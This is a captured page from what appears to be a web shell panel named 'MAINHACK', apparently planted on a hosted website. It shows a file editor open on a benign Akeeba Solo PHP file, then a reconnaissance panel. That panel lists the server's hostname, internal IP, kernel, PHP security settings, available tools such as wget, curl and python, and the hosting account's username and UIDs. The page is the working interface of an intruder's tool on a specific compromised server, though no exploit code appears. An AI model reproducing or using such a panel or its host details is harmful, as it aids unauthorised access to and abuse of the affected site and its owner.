[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ShowOnTrait.php
<?php /** * @package solo * @copyright Copyright (c)2014-2026 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace Solo\View\ViewTraits; trait ShowOnTrait { /** * Converts ShowOn expressions to the internal data required by showon.js * * @param string|null $showOn The ShowOn expression e.g. `foo:1[AND]bar!:2[OR]baz:bat` * @param string|null $arrayName If the fields are wrapped in an array element, what's the array name * * @return array * @since 8.2.2 */ private function parseShowOnConditions(?string $showOn, ?string $arrayName = null): array { if (empty($showOn)) { return []; } $showOnData = []; $showOnParts = preg_split('#(\[AND\]|\[OR\])#', $showOn, -1, PREG_SPLIT_DELIM_CAPTURE); $op = ''; foreach ($showOnParts as $showOnPart) { if (in_array($showOnPart, ['[AND]', '[OR]'])) { $op = trim($showOnPart, '[]'); continue; } $compareEqual = strpos($showOnPart, '!:') === false; $showOnPartBlocks = explode(($compareEqual ? ':' : '!:'), $showOnPart, 2); $field = $arrayName ? sprintf("%s[%s]", $arrayName, $showOnPartBlocks[0]) : $showOnPartBlocks[0]; $showOnData[] = [ 'field' => $field, 'values' => explode(',', $showOnPartBlocks[1]), 'sign' => $compareEqual === true ? '=' : '!=', 'op' => $op, ]; $op = ''; } return $showOnData; } /** * Generate data-showon attributes from ShowOn conditions * * @param string|null $showOn The ShowOn expression e.g. `foo:1[AND]bar!:2[OR]baz:bat` * @param string|null $arrayName If the fields are wrapped in an array element, what's the array name * * @return string * @since 8.2.2 */ protected function showOn(?string $showOn, ?string $arrayName = null): string { $conditions = $this->parseShowOnConditions($showOn, $arrayName); return empty($conditions) ? '' : sprintf( 'data-showon="%s"', $this->escape(json_encode($this->parseShowOnConditions($showOn, $arrayName))) ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697